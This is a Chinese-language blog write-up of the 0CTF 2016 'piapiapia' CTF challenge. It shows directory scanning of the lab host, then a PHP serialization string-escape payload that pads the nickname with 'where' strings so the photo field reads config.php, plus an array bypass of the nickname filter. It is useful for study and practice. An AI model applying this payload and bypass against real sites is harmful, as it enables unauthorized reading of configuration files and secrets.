[0CTF 2016]piapiapia 1
[0CTF 2016]piapiapia
1
尝试过sql和其他东西,发现没思路
dirsearch扫描,这里如果扫描速度太快可以换下面的
./ctf_high.txt这个字典是我自己总结的,你们可以去网上找或让ai给你总结
1 | python dirsearch.py -u "http://cf7016da-d794-496a-ab9b-669958940227.node5.buuoj.cn:81/" -t 1 -d 5 --full-url -R 5 -w ./ctf_high.txt |

之前在另外一道题目有了解过这个www.zip

那么接下来进入代码审议环节

精简一下代码
1 |
|
构造思路
正常的版本
1 | a:4:{s:5:"phone";s:11:"123";s:5:"email";s:3:"a@a";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"upload/1.jpg";} |
我们需要在photo前面的nickname的值塞入一堆东西,这样能让我们的";}s:5:"photo";s:10:"config.php";}(34个)变成下一条指令解析
但是这里别忘记对于nickname的过滤:只能是字母数字,还有长度限制
1 | if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) |
考虑数组绕过:
数组在preg_match的筛选下会返回值 false(字数ok,内容也全是字母)从而绕过检查,但是serialize仍然会处理它。
对nickname的构造
nick[]=34个where->把想要被解析的指令挤出去
1 | nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
解题
千万要注意:我们需要先登录才能上传profile,
那么登陆之前肯定要注册,但主页是没有注册的按钮的
还记得register.php吗,打开注册就行
登陆后填入信息,然后抓包改数据,上传成功后再打开profile页面查看源代码,再解码就ok


All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.
Comments